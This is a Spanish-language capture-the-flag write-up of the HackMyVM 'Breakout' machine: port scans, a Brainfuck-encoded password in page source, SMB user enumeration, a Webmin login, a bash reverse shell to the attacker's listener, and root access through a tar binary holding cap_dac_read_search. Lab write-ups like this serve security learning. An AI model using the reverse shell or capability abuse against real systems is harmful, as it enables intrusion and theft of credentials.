cd ~/blog

~/writeups/hmv/073-breakout.md

073 - Breakout

easy Linux hmv 18-04-2024
Brainfuck-encoded password in sourceSMB user enumerationWebmin/MiniServ login (RCE)Linux Capabilities Privesc (tar cap_dac_read_search)
hackmyvm.eu/machines/machine.php?vm=Breakout

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.112
 nmap -sCV -p80,139,445,10000,20000 -oN 02-targeted.txt 192.168.1.112
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-18 11:19 -04
Nmap scan report for 192.168.1.112
Host is up (0.00027s latency).

PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10000/tcp open  http        MiniServ 1.981 (Webmin httpd)
|_http-title: 200 — Document follows
20000/tcp open  http        MiniServ 1.830 (Webmin httpd)
|_http-title: 200 — Document follows

Host script results:
|_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.73 seconds

El código fuente del sitio esconde una contraseña cifrada en Brainfuck:

<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->

La decodificamos:

.2uqPEfj3D<P'a-3

Enumeramos SMB con enum4linux y descubrimos el usuario cyber:

 enum4linux -a 192.168.1.112
...
[+] Server 192.168.1.112 allows sessions using username '', password ''
...
S-1-22-1-1000 Unix User\cyber (Local User)
...

Probamos cyber:.2uqPEfj3D<P'a-3 en los servicios MiniServ/Webmin (10000 y 20000) y entramos en el del puerto 20000, que ofrece una consola de comandos. Lanzamos una reverse shell como cyber y obtenemos la primera flag:

[cyber@breakout cyber]$ bash -c "bash -i >& /dev/tcp/192.168.1.3/1234 0>&1"

 ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.112:60666.
bash: cannot set terminal process group (2494): Inappropriate ioctl for device
bash: no job control in this shell
cyber@breakout:~$

Para escalar, listamos las capabilities (Linux Capabilities Privesc):

cyber@breakout:/$ getcap -r / 2>/dev/null
/home/cyber/tar cap_dac_read_search=ep

El tar del home de cyber tiene cap_dac_read_search, que permite leer cualquier archivo. En /var/backups hay un .old_pass.bak que no podemos leer directamente:

-rw-------  1 root root    17 Oct 20  2021 .old_pass.bak

Lo leemos comprimiéndolo y extrayéndolo con ese tar:

cyber@breakout:~$ ./tar -cf bak.tar /var/backups/.old_pass.bak
cyber@breakout:~$ ./tar -xf bak.tar

cyber@breakout:~/var/backups$ cat .old_pass.bak
Ts&4&YurgtRX(=~h

Y nos autenticamos como root con esa contraseña:

cyber@breakout:~/var/backups$ su root
Password: Ts&4&YurgtRX(=~h

root@breakout:/home/cyber/var/backups#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados